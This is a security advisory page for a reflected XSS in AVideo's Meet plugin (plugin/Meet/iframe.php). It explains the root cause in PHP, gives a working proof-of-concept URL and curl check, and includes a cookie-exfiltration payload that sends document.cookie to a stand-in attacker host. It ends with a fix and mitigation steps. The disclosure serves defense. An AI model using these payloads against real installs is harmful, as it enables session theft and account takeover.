Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

CVE-2026-43878 wwbn/avideo

MEDIUMFix: WWBN/AVideo@3298ced

CVE-2026-43878 is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

WWBN AVideo: Reflected XSS in plugin/Meet/iframe.php via Unescaped `user`/`pass` Parameters Reflected into JavaScript String Literal

Also known asGHSA-mm5f-8q57-4fc4
Published
May 11, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43878.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs13th percentile — riskier than 13% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-43878 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 — User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 — plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}
// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) — the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

  • Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"):
    if ($meet->getPublic() == "2") {
        $obj->canJoin = true;
        $obj->reason = "Is public";
        return $obj;
    }
    
  • Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
  • validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow:

  1. document.location = "CHANNEL_URL?user="; — assignment completes.
  2. } — closes _readyToClose.
  3. alert(1); — executes immediately at script parse/run time (does NOT require _readyToClose to be called).
  4. function a(){"&pass=x";} — declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

  1. Attacker sends victim the following URL:

    https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x
    

    URL-decoded user payload: ";}alert(1);function a(){"

  2. Server reflects the parameters unescaped into the script block on line 116.

  3. Victim's browser parses the script; alert(1) fires immediately on page load.

  4. Verification:

    $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \
        | grep -A1 _readyToClose
    function _readyToClose() {
        document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";
    

    The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

  5. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload:

    user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x
    

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

  • Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
  • Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
  • Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
  • Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule — which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for CVE-2026-43878 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-43878 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-43878. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `plugin/Meet/iframe.php` echoes the attacker-controlled `user` and `pass` query parameters unescaped into a JavaScript double-quoted string literal inside a `<script>` block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target. ## Details Root cause is a two-step reflection with no escaping applied at the HTML/JS sink. **Step 1 — `User::loginFromRequestToGet()` at `objects/user.php:3363-
O3 Security · Impact-Aware SCA

Is CVE-2026-43878 in your dependencies?

O3 Security finds CVE-2026-43878 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-43878: wwbn/avideo (Medium 6.1) | O3 Security